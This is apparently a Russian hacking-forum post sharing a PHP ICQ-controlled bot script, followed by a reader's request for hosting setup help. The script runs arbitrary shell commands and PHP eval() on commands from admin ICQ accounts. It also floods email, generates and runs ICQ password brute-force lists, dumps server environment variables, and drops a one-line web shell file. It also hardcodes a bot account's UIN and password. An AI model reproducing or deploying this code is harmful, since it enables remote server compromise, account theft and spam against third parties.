Сильно недоделаный, но всеже более менее рабочий скрипт... Предполагалось что там будет брут и т д... Брут получился очеень медленным и фиговым.
Ну бот всеравно работает.
<?php
##############################
# #
# #
# (C) KEZ #
# kez@antichat.ru #
# 2005 #
# #
##############################
# #
# http://antichat.ru #
# http://video.antichat.net #
# http://video.antichat.ru #
# #
##############################
# #
# --functions-- #
# Email send, email flood, #
# icq send, icq flood, #
# *ICQ BRUTEFORCE*, #
# Unix\Windows shell, #
# view PHP environment #
# vars, generating list for #
# ICQ bruteforce #
# #
##############################
# #
# This PHP script #
# includes edited by me #
# c99phpicq.php #
# library by CCTeam #
# #
# http://ccteam.ru/ #
# http://ccteam.ru/files #
# /c99phpicq.php.txt #
# #
##############################
################################################## ########
#######! c99phpicq.php !########
################################################## ########
// влючите сюда c99phpicq.php с http://ccteam.nukleon.us
################################################## #############
#################! END OF c99phpicq.php !#################
################################################## #############
# redirect to / (index)
# if 0, do not redirect to index, else redirect
# (for WEB browsers)
$Force_Redirect = 0;
if ($Force_Redirect) header( "Location: /" );
# lib allready included in top of file
#include("c99phpicq.php");
#
# no script execution limit, 0
set_time_limit( 0 );
# you cat control this bot from this UINs:
#$AdminUins = array ( "353303", "446378" );
$AdminUins = array ( "353303" );
# ICQ Account for bot
$BotUin = "66680094";
$BotPass = "kJuIk7w";
# default values
$AboutString = "bot_by_kez_<kez@antichat.ru>";
# environment text string, do not change
$env_var = env();
# 1 = now b#ruting, 0 = NOT bruting
$bruting = 0;
# counter for good ICQ accounts (bruted) in good file
$good_count = 0;
# counter for all ICQ accounts
$all_count = 0;
# if 1, messages from ALL users will be displayed, if 0,
# only cmd's from admins
$ShowGuestMessages = 1;
# time for sleep() over mail() flooding, in seconds
$sleeptime = 1; // 1 second
function Log_print( $str )
{
return true;
}
# time
$StartTime = 0;
$StopTime = 0;
$enablelog = 0;
# /$php_self?startbrute ...
if (isset($HTTP_GET_VARS["startbrute"]))
{
if (!isset($HTTP_GET_VARS["listfile"])) exit;
if (!isset($HTTP_GET_VARS["goodfile"])) exit;
if (!isset($HTTP_GET_VARS["stopfile"])) exit;
if (isset($HTTP_GET_VARS["logfile"]))
{
$logfile = $HTTP_GET_VARS["logfile"];
$f_log = fopen( $logfile, "w" );
$enablelog = 1;
}
$listfile = $HTTP_GET_VARS["listfile"];
$goodfile = $HTTP_GET_VARS["goodfile"];
$stopfile = $HTTP_GET_VARS["stopfile"];
$icq = new ICQ( 0, 0 );
$f = fopen( $listfile, "r" );
$f2 = fopen( $goodfile, "w" );
if ($enablelog) fputs( $f_log, "*start*\r\nlistfile=$listfile goodfile=$goodfile stopfile=$stopfile\r\n" );
$StartTime = time();
while ($l = fgets( $f, 50 )) :
list( $uin, $password ) = explode( ";", $l );
$password = str_replace( "\r\n", "", $password );
$r = $icq->http_checklogin( $uin, $password );
if ($r == 1)
{
fputs( $f2, $uin.";".$password."\r\n" );
# increment the good uins count
$good_count++;
}
$all_count++;
# check for STOP file, if exists then break <while> cycle
if (file_exists( $stopfile ))
{
if ($enablelog) fputs( $f_log, "\r\n*used stopfile*" );
unlink( $stopfile );
break;
}
endwhile;
# close list and good files
fclose( $f );
fclose( $f2 );
# printing results and halting
$StopTime = time();
$TotalTime = $StopTime - $StartTime;
if ($enablelog) fputs( $f_log, "\r\n*stop*\r\nGOOD=$good_count ALL=$all_count\r\nTime: ".$TotalTime );
exit;
}
################################################## #############
print "Starting BOT ...\n";
print "Bot UIN: ".$BotUin.", Bot password: ".$BotPass."\n";
print "Admins: ";
foreach ($AdminUins as $AU)
{
print $AU." ";
}
print "\n";
$icq = new ICQ( $BotUin, $BotPass );
@$icq->connect() || die( "Couldnot connect - @\$icq->connect() failed\n" );
@$icq->login() || die( "Couldnot login - @\$icq->login() failed\n" );
# force_shutdown
function force_shutdown()
{
GLOBAL $icq;
$icq->disconnect();
exit;
}
# help
function help()
{
GLOBAL $AboutString;
$result = "\nCommands:\n";
$result .= "-----------\n";
$result .= "shutdown - fully switch off the PHP script process\n";
$result .= "env - view PHP environment varibles\n";
$result .= "stats - view statistics\n";
$result .= "help - this help\n";
$result .= "email <to>|<subject>|<text> - send email message\n";
$result .= "emailflood <to>|<subject>|<text>|<count> - flood email, send <count> messages\n";
$result .= "genlist <file> <from_number> <to_number> <pass> <mode> - generate brute list <file> from <from_number> to <to_number> with password <pass>, <mode>:\"w\" for new file, \"a\" for append to file\n";
$result .= "set <varible> <value> - setup options, see help\n";
$result .= "! <command> - shell command in exec()\n";
$result .= "@ <command> - php code in eval()\n";
$result .= "# <command> - shell command in system, do not return results from console\n";
$result .= "icq <to_uin>|<msg> - send \"<msg>\" to <to_uin>\n";
$result .= "icqflood <to_uin>|<msg>|<count> - flood icq, send <count> messages, THIS FUNCTION NOT IMPLEMENTATED!\n";
$result .= "-----------\n";
$result .= "<varible>'s for <set> :\n";
$result .= "str_about - set about string, as copyright\n";
$result .= "logfile - set the log file (logging bad implementated)\n";
$result .= "sleeptime - set time for sleep(), over mail() flood\n";
$result .= "log - logging?\n";
$result .= "showguest - show and log guest, messages from NON-ADMINS\n";
$result .= "-----------\n";
$result .= "ABOUT :\n";
$result .= $AboutString;
return $result;
}
function stats()
{
# globals...
GLOBAL $BotUin;
GLOBAL $BotPass;
GLOBAL $AdminUins;
GLOBAL $ShowGuestMessages;
$result = "\nSTATISTICS:\n";
$result .= "___________\n";
$result .= "Bot ICQ account information:\n";
$result .= "UIN:".$BotUin.", Password:".$BotPass."\n";
$result .= "Admins:\n";
$i = 1;
foreach ($AdminUins as $AU)
{
$result .= $i.") ".$AU."\n";
$i++;
}
$result .= "\n";
$result .= "\$ShowGuestMessages=".$ShowGuestMessages."\n";
$result .= "Use <env> command for PHP environment listing\n";
$result .= "Coded by KEZ -- kez@antichat.ru";
return $result;
}
function env()
{
$result = "\nENVIRONMENT:\n";
while (list($var,$value) = each($_SERVER)) :
$result .= $var." = ".$value."\n";
endwhile;
return $result;
}
# Process_Command
function Process_Command( $cmd )
{
GLOBAL $env_var;
GLOBAL $GoodListFileName;
GLOBAL $AboutString;
GLOBAL $icq;
GLOBAL $file2_b64;
GLOBAL $StartTime;
GLOBAL $sleeptime;
GLOBAL $ShowGuestMessages;
$result = "";
$cmdarr = split( " ", $cmd );
switch ($cmdarr[0]) :
case "shutdown" :
Log_print( "cmd:shutdown\r\n" );
force_shutdown();
break;
case "env" :
Log_print( "cmd:env\r\n" );
$result = $env_var;
break;
case "stats" :
Log_print( "cmd:stats\r\n" );
$result = stats();
break;
case "help" :
Log_print( "cmd:help\r\n" );
$result = help();
break;
case "email" :
Log_print( "cmd:email\r\n" );
$emaildata = split( "\|", $cmd );
$emailto = split( " ", $emaildata[0] );
$result = "Message emailed for ".$emailto[1];
@mail( $emailto[1], $emaildata[1], $emaildata[2] ) || $result = "Error in @mail()";
break;
case "emailflood" :
Log_print( "cmd:emailflood\r\n" );
$emaildata = split( "\|", $cmd );
$emailto = split( " ", $emaildata[0] );
$count = $emaildata[3];
$result = "Flood emailed to ".$emailto[1].", ".$count." messages";
for ($i = 1; $i <= $count; $i += 1 ):
sleep( $sleeptime );
@mail( $emailto[1], $emaildata[1], $emaildata[2] ) || $result = "Error in @mail()";
endfor;
break;
case "@" :
Log_print( "cmd:@\r\n" );
$_cmd = substr( $cmd, 1 );
eval( $_cmd );
break;
case "genlist" :
Log_print( "cmd:genlist\r\n" );
$fname = $cmdarr[1];
$min = $cmdarr[2];
$max = $cmdarr[3];
$pass = $cmdarr[4];
$mode = $cmdarr[5];
switch ($mode) :
case "a" :
$f = fopen( $fname, "a" );
break;
case "w" :
$f = fopen( $fname, "w" );
break;
default:
{
$result = "Unknow mode (4) - use a (append to file) or w (new file)";
break;
}
endswitch;
for ($i = $min; $i <= $max; $i += 1):
fputs( $f, $i.";".$pass."\r\n" );
endfor;
fclose( $f );
$result = "List \"".$fname."\" rewrited/appended with UINs ".$min." to ".$max." with pass ".$pass.", mode is ".$mode;
break;
case "set" :
Log_print( "cmd:set\r\n" );
if ($cmdarr[1] == "str_about" )
{
$AboutString = $cmdarr[2];
$result = "\$AboutString changed to ".$AboutString;
break;
}
if ($cmdarr[1] == "showguest")
{
if ($cmdarr[2] == "on") $ShowGuestMessages = 1;
if ($cmdarr[2] == "off") $ShowGuestMessages = 0;
$result = "Guest messages ".$ShowGuestMessages;
break;
}
if ($cmdarr[1] == "sleeptime")
{
$sleeptime = $cmdarr[2];
$result = "\$sleeptime changed to ".$sleeptime;
break;
}
else
{
$result = "<set>: unknow parameter specified";
break;
}
case "!" :
Log_print( "cmd:!\r\n" );
$_cmd = substr( $cmd, 1 );
exec( $_cmd, $execstrarray );
for ($i=0; $i < count($execstrarray); $i++) :
$result .= "\n".$execstrarray[$i];
endfor;
break;
case "#" :
Log_print( "cmd:#\r\n" );
$_cmd = substr( $cmd, 1 );
system( $_cmd );
break;
case "icq" :
Log_print( "cmd:icq\r\n" );
$icqdata = split( "\|", $cmd );
$icqto = split( " ", $icqdata[0] );
$icq->message_send( $icqto[1], $icqdata[1] );
$result = "\$icq->message_send() OK";
break;
case "icqflood" :
Log_print( "cmd:icqflood\r\n" );
$result = "ICQ Flooder NOT IMPLEMENTATED";
break;
case "spawnshell" :
# spawn a little PHP shell
Log_print( "cmd:spawnshell\n" );
# if (!is_writable( $cmdarr[1]))
# {
# $result = "Couldnot create file - permission denied";
# break;
# }
$shf = fopen( $cmdarr[1], "w" );
fputs( $shf, "<?\r\n" );
fputs( $shf, "print \"<PRE>\";\r\n" );
fputs( $shf, "system( \$_GET[\"cmd\"] );\r\n" );
fputs( $shf, "print \"</PRE>\";\r\n" );
fputs( $shf, "?>" );
fclose( $shf );
$result = "Little PHP shell created. Use: ".$cmdarr[1]."?cmd=ls -la";
break;
case "spawn2php" :
Log_print( "cmd:spawn2php\r\n" );
$f_php2 = fopen( $cmdarr[1], "w" );
fwrite( $f_php2, base64_decode( $file2_b64 ) );
fclose( $f_php2 );
$result = "2.php created. use this script for brute";
break;
case "spawnremview" :
# spawn a little PHP shell
Log_print( "cmd:spawnremview\r\n" );;
$result = "This script dont support base64 remview source. Only <spawnshell> command";
break;
# $shf = fopen( $cmdarr[1], "w" );
# fwrite( $shf, base64_decode( $remview_b64 ) );
# fclose( $shf );
# $result = "REMVIEW.PHP created";
# break;
default:
$result = "Unknow command, use <help> for list";
endswitch;
return $result;
}
foreach ($AdminUins as $AU)
{
$icq->message_send( $AU, "Bot'up!" );
}
################################
# main cycle #
# socket read #
################################
while ($icq->socket)
{
$icq->listen();
if (isset($icq->mess["channel"]))
{
if (in_array($icq->mess["uin"], $AdminUins ))
$icq->message_send( $icq->mess["uin"], Process_Command( $icq->mess["text"] ) );
else
{
if ($ShowGuestMessages == 1)
{
Log_print( "FROM ".$icq->mess["uin"]." : ".$icq->mess["text"]."\r\n" );
foreach ($AdminUins as $AU)
{
$icq->message_send( $AU, "FROM ".$icq->mess["uin"]." : ".$icq->mess["text"] );
}
}
}
}
}
#
# $people = "people";
# $shit = "shit";
#
# $people = $shit;
#
?>
Пожалуйста если можно по подробней как это установить у себя на хостинге,пробовал протестить у себя на денвере не получилось...